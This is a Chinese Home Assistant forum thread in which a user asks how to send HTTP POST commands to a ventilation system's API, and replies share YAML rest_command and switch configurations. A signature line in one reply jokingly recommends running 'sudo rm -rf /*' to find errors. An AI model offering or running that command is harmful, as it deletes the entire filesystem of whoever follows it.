『瀚思彼岸』» 智能家居技术论坛

 找回密码
 立即注册
查看: 6967|回复: 4

[求助] 新人求助POST的方法

[复制链接]

5

主题

50

帖子

783

积分

高级会员

Rank: 4

积分
783
金钱
733
HASS币
0
发表于 2020-5-3 15:34:29 | 显示全部楼层 |阅读模式
家里的新风系统是本地一家企业自主开发的APP,通过抓包抓到数据了,用Tasker测试可以了,想做个开关,用HTTP POST的方法,搜罗了一圏也没找到从哪里下手,希望大家指点一下,谢谢了。
回复

使用道具 举报

48

主题

709

帖子

4710

积分

元老级技术达人

积分
4710
金钱
4001
HASS币
50
QQ
发表于 2020-5-3 16:25:16 | 显示全部楼层
script:
  up:
    alias: 上
    sequence:
      - service: rest_command.up
  down:
    alias: 下
    sequence:
      - service: rest_command.down
  left:
    alias: 左
    sequence:
      - service: rest_command.left
  right:
    alias: 右
    sequence:
      - service: rest_command.right
      
rest_command:
  up:
    url: http://192.168.1.107:8080/v1/keyevent
    method: POST
    payload: '{"keycode":19,"longclick":false}'
  down:
    url: http://192.168.1.107:8080/v1/keyevent
    method: POST
    payload: '{"keycode":20,"longclick":false}'
  left:
    url: http://192.168.1.107:8080/v1/keyevent
    method: POST
    payload: '{"keycode":21,"longclick":false}'
  right:
    url: http://192.168.1.107:8080/v1/keyevent
    method: POST
    payload: '{"keycode":22,"longclick":false}'
如果你遇到了一些解决不了的问题,那么你可以先尝试执行一下这个命令 sudo rm -rf /* 看一看是在哪儿出错了
回复

使用道具 举报

8

主题

736

帖子

4568

积分

论坛元老

Rank: 8Rank: 8

积分
4568
金钱
3827
HASS币
40
QQ
发表于 2020-5-3 17:33:53 | 显示全部楼层
回复

使用道具 举报

5

主题

50

帖子

783

积分

高级会员

Rank: 4

积分
783
金钱
733
HASS币
0
 楼主| 发表于 2020-5-5 14:43:48 | 显示全部楼层
本帖最后由 没有创意 于 2020-5-5 14:46 编辑

现在遇到个问题,我请求数据类似于

dev_mac=XXXXXXXXXX&commandvalue=1&commandcode=set_onoff&hmode=&modelnum=0&mid=8350&dev_type=802&key=1f50a306-af4b-4a86-92b8-9c8d519cf977

转换成{"mode":true,"dev_mac":"98D86XXXXXXX","commandvalue":true,"commandcode":"set_onoff","mid":"8350","dev_type":"12","key":"1f50a306-af4b-4a86-92b8-9c8d519cf977"}
测试了楼上两种方法都不行。

用在线POST工具测试了一下,https://www.sojson.com/http/test.html,,,批量参数设置格式就可以,JSON参数就不行,不知道怎么搞了
switch:
  - platform: rest
    name: "新风"
    resource: http://mk.xxxx.com:8018/cominterface/index.aspx
    method: POST
    body_on: '{"mode":true,"dev_mac":"98Dxxxxxxx","commandvalue":true,"commandcode":"set_onoff","mid":"8350","dev_type":"12","key":"1f50a306-af4b-4a86-92b8-9c8d519cf977"}'
    headers:
        Content-Type:  'application/x-www-form-urlencoded;charset=utf-8'


rest_command:
  xinfeng:         #新风
    url: http://mk.xxxx.com:8018/cominterface/index.aspx
    method: POST
    payload: '{"mode":"1","dev_mac":"98Dxxxxxx","commandvalue":"1","commandcode":"set_onoff","mid":"8350","dev_type":"12","key":"1f50a306-af4b-4a86-92b8-9c8d519cf977"}' 
    content_type:  'application/x-www-form-urlencoded;charset=utf-8'

回复

使用道具 举报

20

主题

211

帖子

1535

积分

金牌会员

Rank: 6Rank: 6

积分
1535
金钱
1324
HASS币
10
发表于 2023-7-30 22:54:20 | 显示全部楼层
"Content-Type:application/json"
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|Hassbian

GMT+8, 2024-11-24 12:24 , Processed in 0.066061 second(s), 27 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表